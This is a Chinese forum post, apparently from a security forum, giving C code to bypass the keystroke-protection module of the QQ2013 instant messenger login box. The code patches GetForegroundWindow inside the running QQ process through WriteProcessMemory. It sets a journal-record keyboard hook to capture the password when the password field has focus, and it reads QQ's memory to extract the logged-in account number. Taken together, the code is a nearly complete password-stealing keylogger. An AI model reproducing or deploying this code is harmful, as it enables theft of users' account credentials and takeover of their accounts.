此法针对QQ2010-2013Beta3(也许以后的版本还有这个问题)都有效,因为我在发表该帖子之前搜索过看雪,有不少会员都在研究这个东西,其中不乏不断创建底层钩子的方法,也有分析出密码保护模块随机产生的干扰字符的,个人感觉都不是很靠谱~~怎么说呢,反正就是不靠谱吧
首先做一点知识的普及(用SPY++都可以分析出来,此自然段可以忽略不看):QQ2013 有一个驱动级的保护名曰QQProtect.sys,这玩意我没分析过,但是 在我写代码的过程中我发现有调试权限和管理员权限的程序都不可以对QQ进程CreateRemoteThread,自己写dll放到QQ目录下让它主动加载也会被识别出来~~~此外QQ登录框有两个QQ.exe进程,一个是登录框,一个是密码框(这俩东西是分开的,只不过那个密码框会随着登录框的移动而移动罢了),同时会有两个标题为“QQ2013”,类名为“TXGuiFoundation”的窗口,一个是隐藏的,一个是显示的,显示的那个窗口会在登录成功之后消失,隐藏的那个会在登录成功之后显示出来,但是登录成功之后窗口句柄会变,进程ID不变(也可能不叫显示出来吧,因为 句柄是会变的),对于那个密码框,密码框窗口标题每次都会变化,是大写字母随机变化的,密码框由3个窗口构成,顶端窗口类名为“Edit”,类名为大写字母随机,其父窗口没有标题,类名为“TXGuiFoundation”,父窗口的父窗口类名为“TXGFLayerMask”,还是没有标题
其次我们打开QQ登录框,然后自己写个钩子测试程序(全局键盘钩子,日志钩子 都OK),我们会发现一个很奇怪的问题->那就是当我们的光标锁定在密码框的时候密码保护模块才会发送干扰字符,其他所有情况均不会,那我们有没有发现什么问题没?也许你已经想到了,QQ内部就是通过某个API来判断密码框是否获取了输入焦点的,只要我们知道是通过哪个函数来判断的,然后HOOK那个函数就ok了。。。能有什么函数呢?这个 非GetForegroundWindow莫属
我们只要HOOK了GetForegroundWindow让QQ调用这个函数的之后 直接返回0就可以了,方法有很多,我们就找一个一般情况下会返回0的函数 AnyPopup来替换那个GetForegroundWindow函数好了,代码如下:
FARPROC GetFuncAddr()
{
HMODULE hModule=GetModuleHandle("user32.dll");
if(hModule)
return GetProcAddress(hModule,"AnyPopup");
else return 0;
}
void DisableKeyProtect(HWND h)//h为显示的那个QQ登录框窗口句柄
{
HWND hWin;
HANDLE hProcess;
DWORD ProcessId;
GetWindowThreadProcessId(h,&ProcessId);
hProcess=OpenProcess(0x1F0FFF,FALSE,ProcessId);
if(hProcess)
{
HMODULE hModule=GetModuleHandle("user32.dll");
if(hModule)
{
FARPROC oldAddr=GetProcAddress(hModule,"GetForegroundWindow");
FARPROC newAddr=GetFuncAddr();
unsigned int jmpAddr=(unsigned int)newAddr-(unsigned int)oldAddr-5;
char sBuffer[5];
sBuffer[0]=(char)0xE9;//0XE9为JMP,我想这里的大神应该都能看懂这部分代码的
CopyMemory(&sBuffer[1],&jmpAddr,4);
WriteProcessMemory(hProcess,oldAddr,sBuffer,5,NULL);
}
CloseHandle(hProcess);
}
}
下面是获取显示的那个QQ登录窗口句柄的代码:
bool isExistPasswordEdit()//Test OK
{
HWND hChild;
HWND hEdit;
hEdit=FindWindowEx(NULL,NULL,"TXGFLayerMask",NULL);
while(hEdit)
{
hChild=FindWindowEx(hEdit,NULL,NULL,NULL);
if(hEdit && hChild)return 1;
else
hEdit=FindWindowEx(NULL,hEdit,"TXGFLayerMask",NULL);
}
return 0;
}
HWND GetQQLoginWin() //如果存在登录窗口就返回登录窗口句柄
{
HWND hWin;
hWin=FindWindow("TXGuiFoundation","QQ2013");
if(hWin)
{
if(isExistPasswordEdit())
return hWin;
else return 0;
}
else return 0;
}
为了在密码框获取输入焦点的时候禁用密码保护,我还写了一个函数:
bool isFoucsOnPasswordEdit()
{
HWND hWin = GetForegroundWindow();
HWND hChild;
hChild=GetTopWindow(hWin);//GetParent(hWin);
char szhWinClassName[40],szhChildClassName[40];
ZeroMemory(szhWinClassName,40);
ZeroMemory(szhChildClassName,40);
GetClassName(hChild,szhChildClassName,40);
GetClassName(hWin,szhWinClassName,40);
if(!strcmp(szhWinClassName,"Edit") || !strcmp(szhChildClassName,"Edit"))
return true;
else return false;
}
接下来在主函数中写个循环 或者用定时器判断下:
HWND hQQLogin;
static bool f=true;//为了钩子不被设置多次而设置的一个标志
case WM_TIMER:
if(GetQQLoginWin() &&f )//如果发现QQ登录窗口
{
hQQLogin=GetQQLoginWin();
DisableKeyProtect(hQQLogin);//搞定密码保护
if(isFoucsOnPasswordEdit() )//如果密码框获取输入焦点则放置一个键盘钩子记录密码
{
LogHook=SetWindowsHookEx(WH_JOURNALRECORD,LogProc,ghInstance,NULL);
f=false;
}
if(!isFoucsOnPasswordEdit())
{
UnhookWindowsHookEx(LogHook);
f=true;
}
}
另外,为了把QQ号也取出来,我还写了个取QQ号的函数:
int GetInBuffer(const void *pStart, int nLen, const void *pFindBuffer, int nfLen)
{
for (int i = 0; i < nLen - nfLen; i++)
{
if (memcmp((void *)((ULONG)pStart + i), pFindBuffer, nfLen) == 0)
{
return i;
}
}
return -1;
}
bool ReadQQ(DWORD dwProcessId,wchar_t *szQQnumber)
{
static wchar_t QQDATA[] = L"Msg2.0.db";
HANDLE hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, 0, dwProcessId);
int nMemLen = 28, nMemStart;
void *pMemAddress = NULL;
BYTE *bMemBuffer;
MEMORY_BASIC_INFORMATION mbi;
memset(&mbi, 0, sizeof(MEMORY_BASIC_INFORMATION));
while (VirtualQueryEx(hProcess, pMemAddress, &mbi, nMemLen) != 0)
{
if (mbi.Type == MEM_PRIVATE && mbi.Protect == PAGE_READWRITE)
{
bMemBuffer = new BYTE[mbi.RegionSize + 1];
bMemBuffer[mbi.RegionSize] = 0;
if (ReadProcessMemory(hProcess, pMemAddress, bMemBuffer, mbi.RegionSize, NULL))
{
nMemStart = GetInBuffer(bMemBuffer, mbi.RegionSize, QQDATA, sizeof(QQDATA));
if (nMemStart != -1)
{
wchar_t *pQQText = (wchar_t *)&bMemBuffer[nMemStart-4]; //指向肯定指向QQ号某一位置
while((char)*pQQText>='0' && (char)*pQQText<='9')
{
pQQText--;
}
wchar_t *pQQstart=pQQText;
if (pQQstart)
{
pQQstart++;
wchar_t *pQQEnd = wcsstr(pQQstart, L"\\");
if (pQQEnd)
{
lstrcpynW(szQQnumber, pQQstart, pQQEnd - pQQstart + 1);
delete[] bMemBuffer;
return 1;
}
}
delete[] bMemBuffer;
break;
}
}
delete[] bMemBuffer;
}
pMemAddress = (void *)((ULONG)pMemAddress + mbi.RegionSize);
}
return 0;
CloseHandle(hProcess);
}
DWORD GetQQPID(DWORD dwStartProcess)
{
HANDLE Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,dwStartProcess);
PROCESSENTRY32 pl;
pl.dwSize=sizeof(PROCESSENTRY32);
if (Process32First(Snapshot, &pl))
{
do{
if(lstrcmpi(pl.szExeFile, _T("QQ.exe")) == 0)
{
return pl.th32ProcessID;
}
}while(Process32Next(Snapshot, &pl));
}
CloseHandle(Snapshot);
}
DWORD GetPIDbyHwnd(HWND hWin)
{
DWORD dwpid;
GetWindowThreadProcessId(hWin,&dwpid);
return dwpid;
}
用的时候 像这样用就ok了,下面给出的还是一个函数:
bool GetLastLoginQQNumber(wchar_t* szQQnumber)
{
HWND hWnd = FindWindowEx(NULL,NULL,"TXGuiFoundation","QQ2013");
if(ReadQQ(GetPIDbyHwnd(hWnd),szQQnumber))
if(!isQQinList(szQQnumber))
{
pushQQintoList(szQQnumber);
return true;
}
else
return false;
}
为了把登录过的QQ都保存起来,我写了一个这样的链表:
typedef struct qq
{
wchar_t QQNumber[15];
struct qq *next;
}qqNode,*pqqNode;
并写了相关操作函数:
void pushQQintoList(wchar_t *szQQnumber)
{
pqqNode p=(pqqNode)malloc(sizeof(qqNode));
wcscpy(p->QQNumber,szQQnumber);
p->next=NULL;
pqqNode q=QQNHead;
while(q->next)
q=q->next;
q->next=p;
}
bool isQQinList(wchar_t *szQQnumber)
{
pqqNode q=QQNHead;
while(q=q->next)
{
if(!wcscmp(q->QQNumber,szQQnumber))
return true;
}
return false;
}
没写删除的,因为我还不知道怎么判断QQ被关掉了。。。。若有人有思路,欢迎跟帖讨论~
以上代码如果登录窗口被关闭是毫无影响的~
工程文件我就不放上来了,因为~~因为~~原因我就不多说了,其实我除了WinMain ,和窗口过程函数以及钩子回调函数没放上来之外其他代码都放上来了,代码自己组织下
本人 Win7 32位 旗舰版 VC++6
QQ2013 Beta3(6531)亲测可行~
证据就是这个:(我反正是搞定密码保护了,如果硬说我是搞了很久才截了这么张图,那我也没办法)
鉴于有人说图片没有说服力,那么下面的这两张呢?
还有 bin和工程文件因为种种原因(我想明理的人都应该懂为什么的)我是不可能放上来的~
有的人说没用,那我只做一点点解释:上诉代码自我有思路之后写了一个星期(平时还要上课),在看雪这种氛围里,我想我没必要发没用的东西,我也是不断调试不断调试(期间还动用了Cheat.Engine)才完成了DisableKeyProtect函数,如果不行,我想问题不在我
借用9楼一句话:有些东西只有你自己动手操刀了,才是你的
8楼说的那个我去看了一下,雪友们也可去学习下,思路相同,解决方案不同,同样不做解释,对于QQ2013各位自己试了就知道了
附件中给出了那个键盘钩子(来自罗云彬教授那本WIN32汇编著作的光盘)
各位雪友(曾经讨论过怎么叫,我感觉这样叫亲切点
)拿去试试吧~
我感觉没发错版,要是错了还有劳版主移动一下~~~
[课程]Linux pwn 探索篇!